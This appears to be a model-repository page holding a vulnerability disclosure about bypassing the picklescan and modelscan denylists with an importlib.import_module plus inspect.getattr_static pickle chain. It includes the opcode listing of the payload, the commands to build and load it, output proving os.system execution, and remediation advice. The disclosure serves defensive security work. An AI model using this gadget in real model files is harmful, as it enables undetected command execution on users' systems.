You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Pickle scanner bypass β€” inspect.getattr_static + importlib.import_module REDUCE chain

Class: Malicious-pickle detection bypass (new getattr-substitute gadget) Targets:

Impact: A pure-pickle payload achieves arbitrary command execution (os.system(<cmd>)) at pickle.load time while both scanners report the file as clean (picklescan: Infected files: 0; modelscan: No issues found). Any pipeline that gates untrusted model files on either scanner is bypassed.


Root cause

Both scanners are pure global-denylist static analyzers: they walk the pickle opcode stream (pickletools.genops) and flag GLOBAL / STACK_GLOBAL operands whose module.name appears in a hardcoded denylist of dangerous imports.

Every general-purpose attribute/name resolution primitive that would let an attacker reach os.system indirectly is already denied, precisely because these resolve names at unpickle time:

  • builtins.getattr
  • operator.attrgetter / _operator.attrgetter, itemgetter, methodcaller
  • pkgutil.resolve_name

But inspect.getattr_static β€” a functionally equivalent attribute-resolution primitive; for a module argument it simply returns module.__dict__[name] without triggering descriptors β€” is absent from both denylists, and so is importlib.import_module.

Denylist grep (verbatim) β€” matches for getattr_static / import_module as blocked globals:

picklescan (v313/.../picklescan/*.py):                 0
modelscan  (v312/.../modelscan/settings.py):           0

(The only import_module strings anywhere in the modelscan tree are in modelscan.py / middleware.py, where modelscan itself uses importlib.import_module to load its own scanner plugins β€” not denylist entries.)

The gadget

A pure-pickle REDUCE chain, no builtins.getattr anywhere:

  1. importlib.import_module('os') β†’ the live os module object
  2. inspect.getattr_static(os_module, 'system') β†’ the bound os.system function
  3. os.system('<cmd>') β†’ command execution

The dangerous strings 'os' and 'system' only ever appear as SHORT_BINUNICODE string operands, which genops does not classify as globals. The only globals the scanners observe are inspect.getattr_static and importlib.import_module β€” neither denied. picklescan (non-strict default) classifies them merely as Suspicious (Suspicious globals: 2, Dangerous globals: 0, Infected: 0); modelscan emits no issue at all.

Novelty / dedup

This is a distinct getattr-substitute from the 16 gadgets tracked in the scanner-bypass corpus. The "obvious" importlib.import_module + getattr chain fails, because builtins.getattr is denied. Substituting inspect.getattr_static for builtins.getattr is exactly what makes the chain slip past both denylists. No CVE or prior public report covers inspect.getattr_static as a pickle gadget as of packaging (2026-07-16).


PoC

build.py emits a 77-byte protocol-4 pickle. Opcode chain:

    0: \x80 PROTO      4
    2: c    GLOBAL     'inspect getattr_static'
   26: (    MARK
   27: c        GLOBAL     'importlib import_module'
   52: (        MARK
   53: \x8c         SHORT_BINUNICODE 'os'
   57: t            TUPLE
   58: R        REDUCE       # -> os module
   59: \x8c     SHORT_BINUNICODE 'system'
   67: t        TUPLE
   68: R    REDUCE           # -> os.system
   69: (    MARK
   70: \x8c     SHORT_BINUNICODE 'id'
   74: t        TUPLE
   75: R    REDUCE           # -> os.system('id')
   76: .    STOP

Reproduce

# execute (RCE) on CPython 3.13
scan313/bin/python build.py "id"
scan313/bin/python -c "import pickle; pickle.load(open('payload.pkl','rb'))"

# scanners see nothing
scan313/bin/picklescan -p payload.pkl          # picklescan 1.0.5, default
scan312/bin/modelscan  -p payload.pkl          # modelscan 0.8.8

Note on Python versions: modelscan 0.8.8 pins Requires-Python <3.13, so it is run from a 3.12 venv. It is a static opcode scanner β€” its host Python version has no bearing on the verdict. The payload itself executes under CPython 3.13.12.


Captured evidence (verbatim)

EXECUTE on Python 3.13.12

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),...
exit=0
/tmp/gadget_proof.txt -> GADGET_RCE_742721

(A chained-command build wrote both id output and a unique marker to /tmp, confirming real os.system execution, not a benign side effect.)

picklescan 1.0.5 (default, py3.13) β€” payload.pkl

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0

modelscan 0.8.8 β€” payload.pkl

Scanning .../payload.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! πŸŽ‰

Negative control β€” standard os.system __reduce__ pickle (neg.pkl)

Proves both scanners are live and specifically blind to the getattr_static chain:

picklescan: neg.pkl: dangerous import 'posix system' FOUND
            Infected files: 1 / Dangerous globals: 1

modelscan:  Total Issues: 1
            Total Issues By Severity: CRITICAL: 1

Remediation

Add inspect.getattr_static and importlib.import_module (and audit for further attribute/name-resolution primitives such as importlib.__import__, runpy, inspect.getattr_static) to both denylists. More robustly: denylists over indirection primitives are structurally incomplete; prefer an allowlist of permitted globals, or block any REDUCE/STACK_GLOBAL whose callable is a module-resolution or attribute-resolution primitive.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support